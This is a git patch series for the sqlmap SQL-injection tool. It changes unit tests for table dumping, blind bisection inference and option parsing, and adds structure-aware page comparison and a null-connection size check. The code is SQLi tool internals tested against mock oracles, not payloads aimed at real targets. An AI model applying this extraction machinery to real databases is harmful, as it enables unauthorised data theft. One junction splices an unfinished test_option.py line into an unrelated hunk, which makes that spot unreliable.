* plugins/generic/custom.py - sqlQuery SELECT/non-query/stacked branches, the MSSQL FROM rewrite, METADB suffix stripping, SqlmapNoneDataException handling, and sqlFile. @@ -38,14 +32,13 @@ bootstrap() from lib.core.common import Backend from lib.core.data import conf, kb -from lib.core.enums import DBMS, OS +from lib.core.enums import OS from lib.core.settings import NULL import plugins.generic.entries as emod import plugins.generic.custom as cmod import plugins.generic.misc as mmod import plugins.generic.takeover as tmod -from plugins.generic.entries import Entries from plugins.generic.custom import Custom from plugins.generic.misc import Miscellaneous @@ -64,40 +57,6 @@ class _RecordingDumper(object): self.sqlQueries.append((query, queryRes)) -# --------------------------------------------------------------------------- # -# entries.py -# --------------------------------------------------------------------------- # - -class _TestEntries(Entries): - """Entries with cross-mixin collaborators stubbed. - - forceDbmsEnum / getCurrentDb / getColumns / getTables are normally supplied by - sibling mixins; we emulate column/table discovery by populating kb.data.cached* - from canned attributes, exactly as the production plugins do. - """ - - def __init__(self): - Entries.__init__(self) - self.getColumnsResult = {} # assigned to kb.data.cachedColumns - self.getTablesResult = {} # assigned to kb.data.cachedTables - self.getColumnsCalls = [] - self.getTablesCalls = 0 - - def forceDbmsEnum(self): - pass - - def getCurrentDb(self): - return "testdb" - - def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): - self.getColumnsCalls.append((conf.db, conf.tbl)) - kb.data.cachedColumns = dict(self.getColumnsResult) - - def getTables(self, bruteForce=None): - self.getTablesCalls += 1 - kb.data.cachedTables = dict(self.getTablesResult) - - class _GenericBase(unittest.TestCase): """Snapshot/restore for everything the generic mixins touch.""" @@ -196,238 +155,6 @@ class _GenericBase(unittest.TestCase): Backend.setOs(os_name) -class TestEntriesDumpTable(_GenericBase): - def _entries(self, db="testdb", tbl="users", cols=("id", "name")): - e = _TestEntries() - e.getColumnsResult = {db: {tbl: {c: "varchar" for c in cols}}} - return e - - def test_exclude_filters_columns(self): - set_dbms("MySQL") - e = self._entries(cols=("id", "secret")) - conf.db = "testdb" - conf.tbl = "users" - conf.col = None - conf.exclude = "secret" - emod.inject.getValue = lambda *a, **k: [["1"]] - - e.dumpTable() - dumped = conf.dumper.tableValues[-1] - self.assertIn("id", dumped) - self.assertNotIn("secret", dumped) - - def test_exclude_all_columns_skips(self): - set_dbms("MySQL") - e = self._entries(cols=("secret",)) - conf.db = "testdb" - conf.tbl = "users" - conf.col = None - conf.exclude = "secret" - emod.inject.getValue = lambda *a, **k: self.fail("should not fetch entries") - - e.dumpTable() - # all columns excluded => "no usable column names" => nothing dumped - self.assertEqual(conf.dumper.tableValues, []) - - def test_dumpwhere_rewrites_query(self): - set_dbms("MySQL") - e = self._entries(cols=("id",)) - conf.db = "testdb" - conf.tbl = "users" - conf.col = None - conf.dumpWhere = "id>5" - captured = {} - - def gv(query, *a, **k): - captured["query"] = query - return [["9"]] - - emod.inject.getValue = gv - e.dumpTable() - # agent.whereQuery folds conf.dumpWhere into the dump query - self.assertIn("id>5", captured["query"]) - self.assertEqual(list(conf.dumper.tableValues[-1]["id"]["values"]), ["9"]) - - def test_disablehashing_false_path(self): - # conf.disableHashing False => attackDumpedTable() is invoked; with no - # hashes present it must complete without raising and still emit values. - set_dbms("MySQL") - e = self._entries(cols=("id", "name")) - conf.db = "testdb" - conf.tbl = "users" - conf.col = None - conf.disableHashing = False - emod.inject.getValue = lambda *a, **k: [["1", "alice"]] - - # Spy on attackDumpedTable: with disableHashing False it MUST be invoked - # after the values are dumped. A recorder replaces it so we can assert the - # call happened (and no real dictionary attack runs). - saved_attack = emod.attackDumpedTable - calls = {"n": 0} - emod.attackDumpedTable = lambda *a, **k: calls.__setitem__("n", calls["n"] + 1) - try: - e.dumpTable() - finally: - emod.attackDumpedTable = saved_attack - - self.assertEqual(calls["n"], 1) - self.assertEqual(conf.dumper.tableValues[-1]["__infos__"]["count"], 1) - - def test_missing_columns_skips_table(self): - # getColumns yields nothing for the targeted table => skip without fetching. - set_dbms("MySQL") - e = _TestEntries() - e.getColumnsResult = {"testdb": {"other": {"id": "int"}}} - conf.db = "testdb" - conf.tbl = "users" - conf.col = None - emod.inject.getValue = lambda *a, **k: self.fail("should not fetch entries") - - e.dumpTable() - self.assertEqual(conf.dumper.tableValues, []) - - def test_multiple_tables_one_dumped(self): - set_dbms("MySQL") - e = _TestEntries() - e.getColumnsResult = {"testdb": {"users": {"id": "int"}, "posts": {"pid": "int"}}} - conf.db = "testdb" - conf.tbl = "users,posts" - conf.col = None - emod.inject.getValue = lambda *a, **k: [["1"]] - - e.dumpTable() - # both tables share the same cachedColumns dict => both dumped - tables = [tv["__infos__"]["table"] for tv in conf.dumper.tableValues] - self.assertIn("users", tables) - self.assertIn("posts", tables) - - def test_metadb_suffix_db(self): - # A db whose name carries the METADB_SUFFIX must not get a "db" prefix in - # kb.dumpTable, and dumping still succeeds. - from lib.core.settings import METADB_SUFFIX - set_dbms("MySQL") - metadb = "x%s" % METADB_SUFFIX - e = self._entries(db=metadb, tbl="t", cols=("c",)) - conf.db = metadb - conf.tbl = "t" - conf.col = None - emod.inject.getValue = lambda *a, **k: [["v"]] - - e.dumpTable() - self.assertEqual(list(conf.dumper.tableValues[-1]["c"]["values"]), ["v"]) - - -class TestEntriesDumpAll(_GenericBase): - def test_dumpall_multiple_dbs_tables(self): - set_dbms("MySQL") - e = _TestEntries() - conf.db = None - conf.tbl = None - conf.col = None - e.getTablesResult = {"db1": ["t1"], "db2": ["t2"]} - # dumpTable re-discovers columns per (db, tbl); supply both. - e.getColumnsResult = { - "db1": {"t1": {"a": "int"}}, - "db2": {"t2": {"b": "int"}}, - } - emod.inject.getValue = lambda *a, **k: [["x"]] - - e.dumpAll() - # Every table contributed a values batch. - self.assertEqual(len(conf.dumper.tableValues), 2) - - def test_dumpall_list_cached_tables(self): - # cachedTables as a bare list => wrapped under {None: [...]}. - set_dbms("MySQL") - e = _TestEntries() - conf.db = None - conf.tbl = None - conf.col = None - - # getTables sets cachedTables; emulate the list shape directly. - class _ListTables(_TestEntries): - def getTables(self_inner, bruteForce=None): - kb.data.cachedTables = ["users"] - - e = _ListTables() - # dumpAll wraps a bare list as {None: [...]}; dumpTable then resolves the - # None db via getCurrentDb() -> "testdb", so columns live under "testdb". - e.getColumnsResult = {"testdb": {"users": {"id": "int"}}} - emod.inject.getValue = lambda *a, **k: [["1"]] - - e.dumpAll() - self.assertTrue(conf.dumper.tableValues) - # The bare-list None db must be resolved via getCurrentDb() -> "testdb" - # before the dump; assert the dumped __infos__ carries the real db (not - # None) for the requested "users" table. - infos = conf.dumper.tableValues[-1]["__infos__"] - self.assertEqual(infos["db"], "testdb") - self.assertEqual(infos["table"], "users") - - def test_dumpall_exclude_skips_table(self): - set_dbms("MySQL") - e = _TestEntries() - conf.db = None - conf.tbl = None - conf.col = None - conf.exclude = "secret" - e.getTablesResult = {"db1": ["secret", "users"]} - e.getColumnsResult = {"db1": {"users": {"id": "int"}, "secret": {"id": "int"}}} - emod.inject.getValue = lambda *a, **k: [["1"]] - - e.dumpAll() - tables = [tv["__infos__"]["table"] for tv in conf.dumper.tableValues] - self.assertIn("users", tables) - self.assertNotIn("secret", tables) - - -class TestEntriesDumpFound(_GenericBase): - def _entries(self): - e = _TestEntries() - e.getColumnsResult = {"testdb": {"users": {"id": "int"}}} - return e - - def test_dump_found_tables_yes_all(self): - set_dbms("MySQL") - e = self._entries() - emod.inject.getValue = lambda *a, **k: [["1"]] - # batch readInput -> 'Y' (boolean True) and 'a'/'a' for db/table choices. - e.dumpFoundTables({"testdb": ["users"]}) - self.assertTrue(conf.dumper.tableValues) - # The interactive selection must dump the REQUESTED db/table, not just - # "something": assert the dumped __infos__ maps to testdb.users. - infos = conf.dumper.tableValues[-1]["__infos__"] - self.assertEqual(infos["db"], "testdb") - self.assertEqual(infos["table"], "users") - - def test_dump_found_tables_declined(self): - set_dbms("MySQL") - e = self._entries() - - def _no(message, default=None, checkBatch=True, boolean=False): - if boolean: - return False - return default - - emod.readInput = _no - emod.inject.getValue = lambda *a, **k: self.fail("must not dump when declined") - e.dumpFoundTables({"testdb": ["users"]}) - self.assertEqual(conf.dumper.tableValues, []) - - def test_dump_found_column_yes_all(self): - set_dbms("MySQL") - e = self._entries() - emod.inject.getValue = lambda *a, **k: [["1"]] - dbs = {"testdb": {"users": {"id": "int"}}} - e.dumpFoundColumn(dbs, foundCols=None, colConsider='1') - self.assertTrue(conf.dumper.tableValues) - # The selection must dump the REQUESTED db/table mapping, not just - # "something": assert the dumped __infos__ maps to testdb.users. - infos = conf.dumper.tableValues[-1]["__infos__"] - self.assertEqual(infos["db"], "testdb") - self.assertEqual(infos["table"], "users") - - # --------------------------------------------------------------------------- # # custom.py # --------------------------------------------------------------------------- # diff --git a/tests/test_inference.py b/tests/test_inference.py deleted file mode 100644 index adac33d58..000000000 --- a/tests/test_inference.py +++ /dev/null @@ -1,293 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) -See the file 'LICENSE' for copying permission - -Edge cases / control-flow branches of the blind-SQLi inference engine -(lib/techniques/blind/inference.py) plus the pure UNION configuration helper -(lib/techniques/union/use.py configUnion). - -Complements tests/test_inference_engine.py (which covers the happy-path char-by-char -extraction). Here we drive the REAL bisection() / queryOutputLength() against a mock -oracle (Request.queryPage replaced by a parser of our own parseable payload template) -to exercise the branches the engine test does not reach: - - * trivial returns: payload is None, length == 0 - * --first-char / --last-char range limiting (both via the function args and via - conf.firstChar / conf.lastChar) - * --hex output decoding of the assembled value - * kb.data.processChar post-processing hook - * session resume from HashDB: a fully cached value, and a PARTIAL_VALUE_MARKER - partial value that bisection continues from (against a REAL temp SQLite HashDB) - * queryOutputLength() forging + DIGITS-charset length retrieval - -No network, no live target, no real DBMS - exactly like the sibling engine test. -""" - -import os -import re -import sys -import tempfile -import unittest - -sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms -bootstrap() - -from lib.core.data import conf, kb -from lib.core.common import decodeDbmsHexValue -from lib.core.common import getCurrentThreadData -from lib.core.common import hashDBWrite -from lib.core.enums import CHARSET_TYPE -from lib.core.exception import SqlmapSyntaxException -from lib.core.settings import PARTIAL_VALUE_MARKER -from lib.request.connect import Connect -from lib.utils.hashdb import HashDB -import lib.techniques.blind.inference as inf -import lib.techniques.union.use as uu - -# bisection forges: safeStringFormat(payload, (expression, idx, posValue)); '>' is the -# greater-char marker (swapped to '=' on the final equality check). A parseable template -# lets the mock oracle recover (idx, operator, threshold) and answer against a known secret. -TEMPLATE = "EXPR=%s IDX=%d CMP>%d" -_PARSE = re.compile(r"IDX=(\d+) CMP(.)(\d+)") - -# conf/kb knobs bisection reads on the simple single-threaded, no-prediction path -_CONF = {"predictOutput": False, "threads": 1, "api": False, "verbose": 0, "hexConvert": False, - "charset": None, "firstChar": None, "lastChar": None, "timeSec": 5, "eta": False, - "repair": False, "flushSession": None, "freshQueries": None, "hashDB": None} -_KB = {"partRun": None, "safeCharEncode": False, "bruteMode": False, "fileReadMode": False, - "disableShiftTable": False, "originalTimeDelay": 5, "prependFlag": False, - "resumeValues": True, "inferenceMode": False} - - -class _InferenceCase(unittest.TestCase): - def setUp(self): - self._saved_conf = {k: conf.get(k) for k in _CONF} - self._saved_kb = {k: kb.get(k) for k in _KB} - self._saved_qp = Connect.queryPage - self._saved_processChar = kb.data.get("processChar") - for k, v in _CONF.items(): - conf[k] = v - for k, v in _KB.items(): - kb[k] = v - kb.data.processChar = None - set_dbms("MySQL") - - def tearDown(self): - for k, v in self._saved_conf.items(): - conf[k] = v - for k, v in self._saved_kb.items(): - kb[k] = v - kb.data.processChar = self._saved_processChar - Connect.queryPage = self._saved_qp - inf.Request.queryPage = self._saved_qp - - def _install_oracle(self, secret): - def oracle(payload=None, *args, **kwargs): - m = _PARSE.search(payload) - idx, op, threshold = int(m.group(1)), m.group(2), int(m.group(3)) - ch = ord(secret[idx - 1]) if 0 <= idx - 1 < len(secret) else 0 - return (ch > threshold) if op == ">" else (ch == threshold) - - Connect.queryPage = staticmethod(oracle) - inf.Request.queryPage = staticmethod(oracle) - - @staticmethod - def _reset_thread(): - td = getCurrentThreadData() - td.shared.value = "" - td.shared.index = [0] - td.shared.start = 0 - td.shared.count = 0 - - def _bisect(self, secret, expression="SELECT secret", length=None, **kwargs): - self._install_oracle(secret) - self._reset_thread() - if length is None: - length = len(secret) - return inf.bisection(TEMPLATE, expression, length=length, **kwargs) - - -class TestTrivialReturns(_InferenceCase): - def test_none_payload(self): - # payload is None -> (0, None) without ever touching the oracle - self.assertEqual(inf.bisection(None, "SELECT x"), (0, None)) - - def test_zero_length(self): - # length == 0 -> (0, "") short-circuit - self._install_oracle("ignored") - self._reset_thread() - self.assertEqual(inf.bisection(TEMPLATE, "SELECT x", length=0), (0, "")) - - -class TestRangeLimiting(_InferenceCase): - SECRET = "ABCDEFGH" - - def test_first_char_arg(self): - # firstChar=3 -> start from the 3rd character (1-based) -> drop "AB" - _, value = self._bisect(self.SECRET, firstChar=3) - self.assertEqual(value, "CDEFGH") - - def test_last_char_arg(self): - # lastChar=4 -> stop after the 4th character - _, value = self._bisect(self.SECRET, lastChar=4) - self.assertEqual(value, "ABCD") - - def test_conf_first_char(self): - conf.firstChar = 4 - _, value = self._bisect(self.SECRET) - self.assertEqual(value, "DEFGH") - - def test_conf_last_char(self): - conf.lastChar = 3 - _, value = self._bisect(self.SECRET) - self.assertEqual(value, "ABC") - - def test_first_and_last_window(self): - # combined window: chars 3..6 inclusive -> "CDEF" - _, value = self._bisect(self.SECRET, firstChar=3, lastChar=6) - self.assertEqual(value, "CDEF") - - -class TestHexConvert(_InferenceCase): - def test_hex_output_decoded(self): - # --hex: the retrieved value is a hex string the engine decodes on the way out - conf.hexConvert = True - hexed = "48656C6C6F" # "Hello" - _, value = self._bisect(hexed) - self.assertEqual(value, "Hello") - self.assertEqual(value, decodeDbmsHexValue(hexed)) - - -class TestProcessCharHook(_InferenceCase): - def test_process_char_applied_to_each_char(self): - # kb.data.processChar transforms every assembled character - kb.data.processChar = lambda c: c.upper() - _, value = self._bisect("abcde") - self.assertEqual(value, "ABCDE") - - -class TestResumeFromHashDB(_InferenceCase): - """bisection() consults the session store first (hashDBRetrieve(checkConf=True)). - Exercised against a REAL temporary SQLite HashDB (same approach as test_hashdb.py).""" - - def setUp(self): - _InferenceCase.setUp(self) - fd, self.path = tempfile.mkstemp(suffix=".sqlite") - os.close(fd) - os.remove(self.path) # HashDB creates it lazily - conf.hashDB = HashDB(self.path) - # hashDBRetrieve/Write key off these - self._saved_loc = (conf.get("hostname"), conf.get("path"), conf.get("port")) - conf.hostname = "test.invalid" - conf.path = "/" - conf.port = 80 - - def tearDown(self): - conf.hostname, conf.path, conf.port = self._saved_loc - try: - conf.hashDB.closeAll() - except Exception: - pass - if os.path.exists(self.path): - os.remove(self.path) - _InferenceCase.tearDown(self) - - def test_full_value_resumed(self): - # a complete cached value short-circuits the whole bisection (0 queries) - hashDBWrite("SELECT cached", "RESUMED") - conf.hashDB.flush() - count, value = self._bisect("ignored-secret", expression="SELECT cached", length=7) - self.assertEqual(value, "RESUMED") - self.assertEqual(count, 0) - - def test_partial_value_continued(self): - # a PARTIAL_VALUE_MARKER value is resumed-from: bisection keeps the prefix - # and extracts only the remaining characters - kb.inferenceMode = True # partial markers are honored only in inference mode - hashDBWrite("SELECT partial", "%sAB" % PARTIAL_VALUE_MARKER) - conf.hashDB.flush() - count, value = self._bisect("ABCDE", expression="SELECT partial", length=5) - self.assertEqual(value, "ABCDE") - self.assertGreater(count, 0) # it did real work for "CDE" - - -class TestQueryOutputLength(_InferenceCase): - def test_length_retrieved(self): - # queryOutputLength forges a LENGTH() expression and runs bisection with the - # DIGITS charset; the mock "secret" is the textual length itself - self._install_oracle("42") - self._reset_thread() - self.assertEqual(int(inf.queryOutputLength("SELECT data", TEMPLATE)), 42) - - def test_length_single_digit(self): - self._install_oracle("7") - self._reset_thread() - self.assertEqual(int(inf.queryOutputLength("SELECT data", TEMPLATE)), 7) - - def test_digits_charset_extracts_number(self): - # direct bisection with the DIGITS charset (queryOutputLength's inner call) - _, value = self._bisect("2026", charsetType=CHARSET_TYPE.DIGITS) - self.assertEqual(value, "2026") - - -class TestConfigUnion(unittest.TestCase): - """lib/techniques/union/use.py configUnion - pure parsing of --union-char / --union-cols.""" - - _CONF = {"uChar": None, "uCols": None, "uColsStart": 1, "uColsStop": 50} - - def setUp(self): - self._saved = {k: conf.get(k) for k in self._CONF} - self._saved_uchar = kb.get("uChar") - for k, v in self._CONF.items(): - conf[k] = v - - def tearDown(self): - for k, v in self._saved.items(): - conf[k] = v - kb.uChar = self._saved_uchar - - def test_char_and_range(self): - uu.configUnion(char="NULL", columns="2-6") - self.assertEqual(kb.uChar, "NULL") - self.assertEqual((conf.uColsStart, conf.uColsStop), (2, 6)) - - def test_single_column(self): - uu.configUnion(char="NULL", columns="4") - self.assertEqual((conf.uColsStart, conf.uColsStop), (4, 4)) - - def test_uchar_substitution_quoted(self): - # conf.uChar (non-digit) gets quoted and substituted into the [CHAR] template - conf.uChar = "test" - uu.configUnion(char="x[CHAR]x", columns="1") - self.assertEqual(kb.uChar, "x'test'x") - - def test_uchar_substitution_digit(self): - # a digit conf.uChar is substituted unquoted - conf.uChar = "88" - uu.configUnion(char="[CHAR]", columns="1") - self.assertEqual(kb.uChar, "88") - - def test_conf_ucols_overrides_columns_arg(self): - # conf.uCols takes precedence over the columns argument - conf.uCols = "3-9" - uu.configUnion(char="NULL", columns="1-2") - self.assertEqual((conf.uColsStart, conf.uColsStop), (3, 9)) - - def test_non_integer_range_raises(self): - self.assertRaises(SqlmapSyntaxException, uu.configUnion, char="NULL", columns="abc") - - def test_inverted_range_raises(self): - self.assertRaises(SqlmapSyntaxException, uu.configUnion, char="NULL", columns="9-2") - - def test_non_string_char_ignored(self): - # a non-string char leaves kb.uChar untouched (early return) - kb.uChar = "SENTINEL" - uu.configUnion(char=None, columns="1") - self.assertEqual(kb.uChar, "SENTINEL") - - -if __name__ == "__main__": - unittest.main(verbosity=2) diff --git a/tests/test_option.py b/tests/test_option.py new file mode 100644 index 000000000..b869a83d2 --- /dev/null +++ b/tests/test_option.py @@ -0,0 +1,1594 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Option setup / normalization helpers in lib/core/option.py. + +These exercise the (mostly) pure config-massaging functions that parse, validate +and normalize user-supplied option values into the canonical conf.*/kb.* shapes +that the rest of sqlmap relies on - WITHOUT touching the network, the DBMS, the +filesystem (beyond what bootstrap already set up) or any interactive prompt. + +option.py mutates the global conf/kb singletons aggressively, so every test that +writes a conf/kb field saves and restores it via the _preserve() helper so the +shared state stays pristine for the other test files in the suite. +""" + +import contextlib +import logging +import os +import socket +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.data import conf, kb, logger +from lib.core.common import Backend +from lib.core.enums import AUTH_TYPE +from lib.core.enums import HTTP_HEADER +from lib.core.settings import DEFAULT_USER_AGENT +from lib.core.settings import IGNORE_CODE_WILDCARD +from lib.core.settings import MAX_CONNECT_RETRIES +from lib.core.exception import SqlmapFilePathException +from lib.core.exception import SqlmapGenericException +from lib.core.exception import SqlmapMissingDependence +from lib.core.exception import SqlmapMissingMandatoryOptionException +from lib.core.exception import SqlmapSyntaxException +from lib.core.exception import SqlmapSystemException +from lib.core.exception import SqlmapUnsupportedDBMSException +from lib.core.exception import SqlmapValueException +from thirdparty.six.moves import urllib as _urllib + +import lib.core.option as option + +_SENTINEL = object() + +# scratchpad for the preprocess/postprocess/safe-req fixture files +_SCRATCH = os.environ.get("CLAUDE_SCRATCH") or os.path.join(os.path.dirname(os.path.abspath(__file__)), "_option_more_tmp") + +# conf/kb fields that Backend.getIdentifiedDbms()/getOs() consult; any test that +# might touch DBMS/OS forcing snapshots ALL of them so no fingerprint state leaks +# into sibling test files (e.g. test_target_parsing's resume tests). +_BACKEND_CONF_KEYS = ("dbms", "forceDbms", "os") +_BACKEND_KB_KEYS = ("dbms", "dbmsVersion", "forcedDbms", "dbmsFilter", "os", "osVersion", "osSP") + + +def tearDownModule(): + """Remove the scratch fixture directory so it never lingers on disk (and so a + stray __init__.py there can't shadow imports in a subsequent run).""" + import shutil + if os.path.isdir(_SCRATCH): + shutil.rmtree(_SCRATCH, ignore_errors=True) + + +class _BackendGuard(unittest.TestCase): + """Mixin: fully snapshot & restore Backend-relevant conf/kb state per test.""" + + def setUp(self): + super(_BackendGuard, self).setUp() + self._snap_conf = {k: (conf[k] if k in conf else _SENTINEL) for k in _BACKEND_CONF_KEYS} + self._snap_kb = {k: (kb[k] if k in kb else _SENTINEL) for k in _BACKEND_KB_KEYS} + + def tearDown(self): + for store, snap, keys in ((conf, self._snap_conf, _BACKEND_CONF_KEYS), + (kb, self._snap_kb, _BACKEND_KB_KEYS)): + for k in keys: + if snap[k] is _SENTINEL: + try: + del store[k] + except KeyError: + pass + else: + store[k] = snap[k] + super(_BackendGuard, self).tearDown() + + +@contextlib.contextmanager +def _preserve(target, *keys): + """Save the given keys of an AttribDict (conf/kb), then restore on exit. + + Missing keys are restored to absent so a test can't leak a brand-new field. + """ + saved = {} + for key in keys: + saved[key] = target[key] if key in target else _SENTINEL + try: + yield + finally: + for key in keys: + if saved[key] is _SENTINEL: + try: + del target[key] + except KeyError: + pass + else: + target[key] = saved[key] + + +class _ImportSandboxMixin(object): + """Loaders in option.py (tamper/preprocess/postprocess) permanently + `sys.path.insert(0, ||", " ", page) + + retVal = set() + + for match in re.finditer(STRUCTURAL_TAG_REGEX, page): + tag = match.group(1).lower() + attrs = match.group(2) or "" + retVal.add("tag:%s" % tag) + for _ in re.finditer(STRUCTURAL_CLASS_REGEX, attrs): + for value in (_.group(1) or _.group(2) or _.group(3) or "").split(): + retVal.add("cls:%s.%s" % (tag, value)) + for _ in re.finditer(STRUCTURAL_ID_REGEX, attrs): + value = (_.group(1) or _.group(2) or _.group(3) or "").strip() + if value: + retVal.add("id:%s#%s" % (tag, value)) + + return retVal + def trimAlphaNum(value): """ Trims alpha numeric characters from start and ending of a given value diff --git a/lib/core/option.py b/lib/core/option.py index 332053b13..f7d269074 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2210,6 +2210,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.pageTemplates = dict() kb.pageEncoding = DEFAULT_PAGE_ENCODING kb.pageStable = None + kb.pageStructurallyStable = None kb.partRun = None kb.permissionFlag = False kb.place = None diff --git a/lib/core/settings.py b/lib/core/settings.py index e55e69f12..43667bf80 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.198" +VERSION = "1.10.6.199" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -180,6 +180,13 @@ DUMMY_SEARCH_USER_AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100 # Regular expression used for extracting content from "textual" tags TEXT_TAG_REGEX = r"(?si)<(abbr|acronym|b|blockquote|br|center|cite|code|dt|em|font|h[1-6]|i|li|p|pre|q|strong|sub|sup|td|th|title|tt|u)(?!\w).*?>(?P[^<]+)" +# Regular expressions used for extracting a value-free structural skeleton of a (HTML) page (tag +# names and class/id attribute hooks), for structure-aware comparison of pages whose textual +# content is dynamic but whose layout is stable +STRUCTURAL_TAG_REGEX = r"(?si)<\s*([a-z][a-z0-9]*)((?:\s+[^<>]*)?)/?>" +STRUCTURAL_CLASS_REGEX = r"""(?si)\bclass\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>]+))""" +STRUCTURAL_ID_REGEX = r"""(?si)\bid\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>]+))""" + # Regular expression used for recognition of IP addresses IP_ADDRESS_REGEX = r"\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b" diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 1206e6814..e32782973 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -10,6 +10,7 @@ from __future__ import division import re from lib.core.common import extractRegexResult +from lib.core.common import extractStructuralTokens from lib.core.common import getFilteredPageContent from lib.core.common import jsonMinimize from lib.core.common import listToStrValue @@ -177,6 +178,15 @@ def _comparison(page, headers, code, getRatioValue, pageLength): seq1 = jsonMinimize(kb.pageTemplate) seq2 = jsonMinimize(rawPage) + # Structure-aware comparison for a structurally-stable (but byte-unstable) HTML page: + # compare the value-free tag/class/id skeleton so dynamic text does not perturb the ratio + # while a structural change (e.g. a results table appearing/disappearing) still does + if seq1 is None and kb.pageStructurallyStable and not (conf.titles or conf.textOnly or kb.nullConnection): + _ = "\n".join(sorted(extractStructuralTokens(kb.pageTemplate))) + if _: # only engage when the page actually exposes structure (HTML tags); tagless content falls back to text + seq1 = _ + seq2 = "\n".join(sorted(extractStructuralTokens(rawPage))) + if seq1 is None or seq2 is None: if conf.titles: seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a) From 92a9446c468eb3b15fbf02255f194ed8fb6d5e24 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 30 Jun 2026 23:50:45 +0200 Subject: [PATCH 105/165] Minor optimization --- data/txt/sha256sums.txt | 4 ++-- lib/controller/checks.py | 21 ++++++++++++++++++--- lib/core/settings.py | 9 ++++++++- 3 files changed, 28 insertions(+), 6 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index c71f09fc9..0736b248e 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -162,7 +162,7 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py 617cec1b731e0baacafa6f58c2f56a85b6128d1416627cc1b2f61519c8539a2e extra/vulnserver/vulnserver.py a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py -f4fb3839e5accd1b58b34226e4b26f5079d9696e24d335d37d870cd5e62d1e80 lib/controller/checks.py +d6d9159d00f47995cb7414a9e0be1dd088b584ef7ce1eeeb2c9008dec3363e5f lib/controller/checks.py 666935b658074dc9c42153622b75d4ec7bfe56fbe0742de827a5d30a1a0f9d96 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py @@ -189,7 +189,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -a2fb281b59c4526613f22fc0e994b68db91c1263db415aa86002ec4e20773639 lib/core/settings.py +c6e83cef57c4b6d492cf3de91ea3b3b176971c36c773759737b6c95269cfadf9 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 6a7043cc9..aea85795f 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -93,6 +93,7 @@ from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH from lib.core.settings import MAX_STABILITY_DELAY from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH from lib.core.settings import NOSQL_ERROR_REGEX +from lib.core.settings import NULL_CONNECTION_SKIP_READ_MIN_LENGTH from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS from lib.core.settings import SINGLE_QUOTE_MARKER from lib.core.settings import SLEEP_TIME_MARKER @@ -1552,10 +1553,24 @@ def checkNullConnection(): _, headers, _ = Request.getPage(skipRead=True) if HTTP_HEADER.CONTENT_LENGTH in (headers or {}): - kb.nullConnection = NULLCONNECTION.SKIP_READ + try: + length = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0]) + except ValueError: + length = len(kb.originalPage or "") - infoMsg = "NULL connection is supported with 'skip-read' method" - logger.info(infoMsg) + # Unlike HEAD/Range, 'skip-read' leaves the body unread and must close the + # connection (an unread body cannot be reused), paying a fresh TCP/TLS handshake + # per request. That only outweighs the avoided body transfer for large responses; + # for small ones it is a net slowdown, so it is gated by the response size here + if length >= NULL_CONNECTION_SKIP_READ_MIN_LENGTH: + kb.nullConnection = NULLCONNECTION.SKIP_READ + + infoMsg = "NULL connection is supported with 'skip-read' method" + logger.info(infoMsg) + 